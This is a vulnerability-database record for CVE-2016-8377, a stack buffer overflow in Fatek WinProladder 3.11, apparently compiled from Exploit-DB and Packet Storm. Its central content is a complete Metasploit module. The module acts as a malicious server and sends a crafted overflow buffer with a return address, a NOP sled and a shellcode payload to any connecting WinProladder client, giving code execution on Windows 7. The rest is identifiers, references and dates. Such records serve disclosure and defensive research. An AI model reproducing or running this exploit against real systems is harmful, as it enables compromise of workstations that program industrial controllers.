Sign-up

ID

VAR-E-201709-0061


CVE

cve_id:CVE-2016-8377

Trust: 1.5

sources: PACKETSTORM: 144151 // EXPLOIT-DB: 42700

EDB ID

42700


TITLE

Fatek Automation PLC WinProladder 3.11 Build 14701 - Stack Buffer Overflow (Metasploit) - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 42700

DESCRIPTION

Fatek Automation PLC WinProladder 3.11 Build 14701 - Stack Buffer Overflow (Metasploit). CVE-2016-8377 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 42700

AFFECTED PRODUCTS

vendor:fatekmodel:automation plc winproladder buildscope:eqversion:3.1114701

Trust: 2.7

sources: PACKETSTORM: 144151 // EXPLOIT-DB: 42700 // EDBNET: 94190 // EDBNET: 94476

EXPLOIT

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Fatek Automation PLC WinProladder Stack-based Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow found in Fatek Automation
PLC WinProladder v3.11 Build 14701. The vulnerability is triggered when a client
connects to a listening server. The client does not properly sanitize the length
of the received input prior to placing it on the stack.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'ZDI', '16-672' ],
[ 'CVE', '2016-8377' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-350-01' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 7 EN',
{
# CC3250MT.dll
# pop ecx/ pop ebp/ retn
'Ret' => 0x32514d79
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 15 2016'))

register_options(
[
OptPort.new('SRVPORT', [ true, "The port to listen on", 500])
], self.class)
end

def on_client_data(client)
p = payload.encoded

pkt = "A" * 10000
pkt[1092, 4] = [0x04eb9090].pack('V') # jmp $+6
pkt[1096, 4] = [target.ret].pack('V')
pkt[1100, 50] = "\x90" * 50
pkt[1150, p.length] = p

client.put(pkt)
handler
service.close_client(client)
end

end

Trust: 1.0

sources: EXPLOIT-DB: 42700

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 42700

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 42700

TYPE

Stack Buffer Overflow (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 42700

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

tag:exploit

Trust: 0.5

tag:overflow

Trust: 0.5

sources: PACKETSTORM: 144151 // EXPLOIT-DB: 42700

CREDITS

James Fitts

Trust: 0.6

sources: EXPLOIT-DB: 42700

EXTERNAL IDS

db:ICS CERTid:ICSA-16-350-01

Trust: 2.7

db:EXPLOIT-DBid:42700

Trust: 1.6

db:NVDid:CVE-2016-8377

Trust: 1.5

db:EDBNETid:94190

Trust: 0.6

db:0DAYTODAYid:28543

Trust: 0.6

db:EDBNETid:94476

Trust: 0.6

db:PACKETSTORMid:144151

Trust: 0.5

sources: PACKETSTORM: 144151 // EXPLOIT-DB: 42700 // EDBNET: 94190 // EDBNET: 94476

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2016-8377

Trust: 1.5

url:https://www.exploit-db.com/exploits/42700/

Trust: 0.6

url:https://0day.today/exploits/28543

Trust: 0.6

sources: PACKETSTORM: 144151 // EXPLOIT-DB: 42700 // EDBNET: 94190 // EDBNET: 94476

SOURCES

db:PACKETSTORMid:144151
db:EXPLOIT-DBid:42700
db:EDBNETid:94190
db:EDBNETid:94476

LAST UPDATE DATE

2022-07-27T09:44:44.127000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:144151date:2017-09-14T20:40:32
db:EXPLOIT-DBid:42700date:2017-09-13T00:00:00
db:EDBNETid:94190date:2017-09-13T00:00:00
db:EDBNETid:94476date:2017-10-13T00:00:00